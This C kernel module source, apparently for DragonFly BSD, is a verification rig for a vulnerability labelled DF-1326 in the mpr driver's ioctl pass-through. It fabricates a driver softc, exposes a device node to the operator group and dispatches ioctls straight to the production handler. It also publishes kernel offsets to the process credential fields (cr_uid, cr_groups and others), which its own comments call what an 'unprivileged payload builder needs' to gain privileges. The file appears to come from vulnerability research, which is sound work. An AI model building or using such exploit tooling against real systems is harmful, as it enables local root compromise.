DF-1326 / df1326rig.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 | /* * DF-1326 verification rig (pass 3) -- dispatches the REAL production * mpr ioctl handler against a fabricated softc. * * The compiled-in driver entry is `mpr_ioctl_devsw` (static, the devsw * wrapper with mpr_ioctl inlined by cc 8.3 -O2). This rig: * * - creates /dev/df1326rig with the EXACT ownership make_dev() gives * /dev/mprN in mpr_attach_user() (mpr_user.c:205): * UID_ROOT, GID_OPERATOR, 0640 * - primes a fabricated mpr_softc with the fields the compiled * prologue of mpr_user_pass_thru actually touches (offsets proven * by disassembly of the shipped /boot/kernel/kernel): * +0x010 mpr_flags, +0x014 mpr_debug, +0x01c reqframesz, * +0x1d8 mpr_lock * - forwards every ioctl VERBATIM to the production handler resolved * at runtime from the running kernel binary (no KASLR: the file * vaddr IS the runtime vaddr; the rig byte-verifies the known * prologue before every dispatch). * * The rig stands in ONLY for what this QEMU guest cannot provide: an * LSI SAS2008-class PCI controller for mpr_attach(). Everything from * dev_dioctl() down -- devfs dispatch, ioctl marshalling, the ioctl * switch, mpr_user_pass_thru, copyin() -- is production code executing * from the shipped kernel image. * * Only root can kldload/prime the rig; the trigger runs as an * unprivileged operator-group user (uid=2 gid=5), exactly like the * real /dev/mprN attack on hardware. */ #include <sys/param.h> #include <sys/kernel.h> #include <sys/module.h> #include <sys/systm.h> #include <sys/conf.h> #include <sys/device.h> #include <sys/malloc.h> #include <sys/lock.h> #include <sys/sysctl.h> #include <sys/proc.h> #include <sys/ucred.h> #include <sys/globaldata.h> #include <sys/thread.h> #include <sys/types.h> static d_open_t rig_open; static d_close_t rig_close; static d_ioctl_t rig_ioctl; static struct dev_ops rig_ops = { { "df1326rig", 0, D_MPSAFE }, .d_open = rig_open, .d_close = rig_close, .d_ioctl = rig_ioctl, }; static unsigned long rig_target; /* runtime addr of mpr_ioctl_devsw */ static void *rig_sc; /* fabricated mpr_softc */ static void *rig_fake_dev; /* fabricated device_t (sc->mpr_dev) */ static struct cdev *rig_cdev; SYSCTL_ULONG(_kern, OID_AUTO, df1326rig_target, CTLFLAG_RW, &rig_target, 0, "runtime address of production mpr_ioctl_devsw (prime as root)"); /* * Offsets the unprivileged payload builder needs. No KASLR on this * build, so they are stable across boots; an attacker derives them * from the same world-readable /boot/kernel/kernel. */ static unsigned long o_gd_curthread = offsetof(struct globaldata, gd_curthread); static unsigned long o_td_proc = offsetof(struct thread, td_proc); static unsigned long o_p_ucred = offsetof(struct proc, p_ucred); static unsigned long o_cr_uid = offsetof(struct ucred, cr_uid); static unsigned long o_cr_ruid = offsetof(struct ucred, cr_ruid); static unsigned long o_cr_svuid = offsetof(struct ucred, cr_svuid); static unsigned long o_cr_groups = offsetof(struct ucred, cr_groups); static unsigned long o_cr_rgid = offsetof(struct ucred, cr_rgid); static unsigned long o_cr_svgid = offsetof(struct ucred, cr_svgid); SYSCTL_ULONG(_kern, OID_AUTO, df1326rig_o_gd_curthread, CTLFLAG_RD, &o_gd_curthread, 0, ""); SYSCTL_ULONG(_kern, OID_AUTO, df1326rig_o_td_proc, CTLFLAG_RD, &o_td_proc, 0, ""); SYSCTL_ULONG(_kern, OID_AUTO, df1326rig_o_p_ucred, CTLFLAG_RD, &o_p_ucred, 0, ""); SYSCTL_ULONG(_kern, OID_AUTO, df1326rig_o_cr_uid, CTLFLAG_RD, &o_cr_uid, 0, ""); SYSCTL_ULONG(_kern, OID_AUTO, df1326rig_o_cr_ruid, CTLFLAG_RD, &o_cr_ruid, 0, ""); SYSCTL_ULONG(_kern, OID_AUTO, df1326rig_o_cr_svuid, CTLFLAG_RD, &o_cr_svuid, 0, ""); SYSCTL_ULONG(_kern, OID_AUTO, df1326rig_o_cr_groups, CTLFLAG_RD, &o_cr_groups, 0, ""); SYSCTL_ULONG(_kern, OID_AUTO, df1326rig_o_cr_rgid, CTLFLAG_RD, &o_cr_rgid, 0, ""); SYSCTL_ULONG(_kern, OID_AUTO, df1326rig_o_cr_svgid, CTLFLAG_RD, &o_cr_svgid, 0, ""); static int rig_open(struct dev_open_args *ap) { return (0); } static int rig_close(struct dev_close_args *ap) { return (0); } static int rig_ioctl(struct dev_ioctl_args *ap) { int (*fn)(struct dev_ioctl_args *); /* first 16 bytes of mpr_ioctl_devsw in the shipped kernel */ static const uint8_t prologue[16] = { 0x55, 0x48, 0x89, 0xe5, 0x41, 0x57, 0x41, 0x56, 0x41, 0x55, 0x41, 0x54, 0x53, 0x48, 0x81, 0xec }; if (rig_target == 0) { kprintf("df1326rig: target not primed (kern.df1326rig_target)\n"); return (ENXIO); } if (memcmp((const void *)rig_target, prologue, sizeof(prologue)) != 0) { kprintf("df1326rig: REFUSING dispatch - prologue mismatch at " "%p\n", (void *)rig_target); return (ENXIO); } kprintf("df1326rig: dispatch REAL mpr_ioctl_devsw @ %p cmd=%#lx " "data=%p\n", (void *)rig_target, ap->a_cmd, ap->a_data); fn = (int (*)(struct dev_ioctl_args *))rig_target; return (fn(ap)); } static int df1326rig_handler(struct module *m, int what, void *arg) { int err = 0; switch (what) { case MOD_LOAD: rig_sc = kmalloc(0x400, M_DEVBUF, M_WAITOK | M_ZERO); rig_fake_dev = kmalloc(0x200, M_DEVBUF, M_WAITOK | M_ZERO); if (rig_sc == NULL || rig_fake_dev == NULL) return (ENOMEM); *(uint32_t *)((uint8_t *)rig_sc + 0x1c) = 128; /* reqframesz */ /* sc->mpr_dev (offset 0): zeroed fake device_t; a NULL * devclass makes device_get_name() return NULL and * device_print_prettyname() print "unknown: " -- the * ENOMEM path's device_printf() is survivable. */ *(void **)rig_sc = rig_fake_dev; lockinit((struct lock *)((uint8_t *)rig_sc + 0x1d8), "df1326rig_lk", 0, 0); rig_cdev = make_dev(&rig_ops, 0, UID_ROOT, GID_OPERATOR, 0640, "df1326rig"); if (rig_cdev == NULL) { kfree(rig_sc, M_DEVBUF); rig_sc = NULL; return (ENOMEM); } rig_cdev->si_drv1 = rig_sc; kprintf("df1326rig: loaded; fake sc=%p; /dev/df1326rig " "0640 root:operator; gd_curthread@+%lu td_proc@+%lu " "p_ucred@+%lu cr_uid@+%lu\n", rig_sc, o_gd_curthread, o_td_proc, o_p_ucred, o_cr_uid); break; case MOD_UNLOAD: if (rig_cdev != NULL) destroy_dev(rig_cdev); if (rig_sc != NULL) kfree(rig_sc, M_DEVBUF); if (rig_fake_dev != NULL) kfree(rig_fake_dev, M_DEVBUF); kprintf("df1326rig: unloaded\n"); break; default: err = EOPNOTSUPP; break; } return (err); } static moduledata_t df1326rig_mod = { "df1326rig", df1326rig_handler, NULL }; DECLARE_MODULE(df1326rig, df1326rig_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE); MODULE_VERSION(df1326rig, 1); |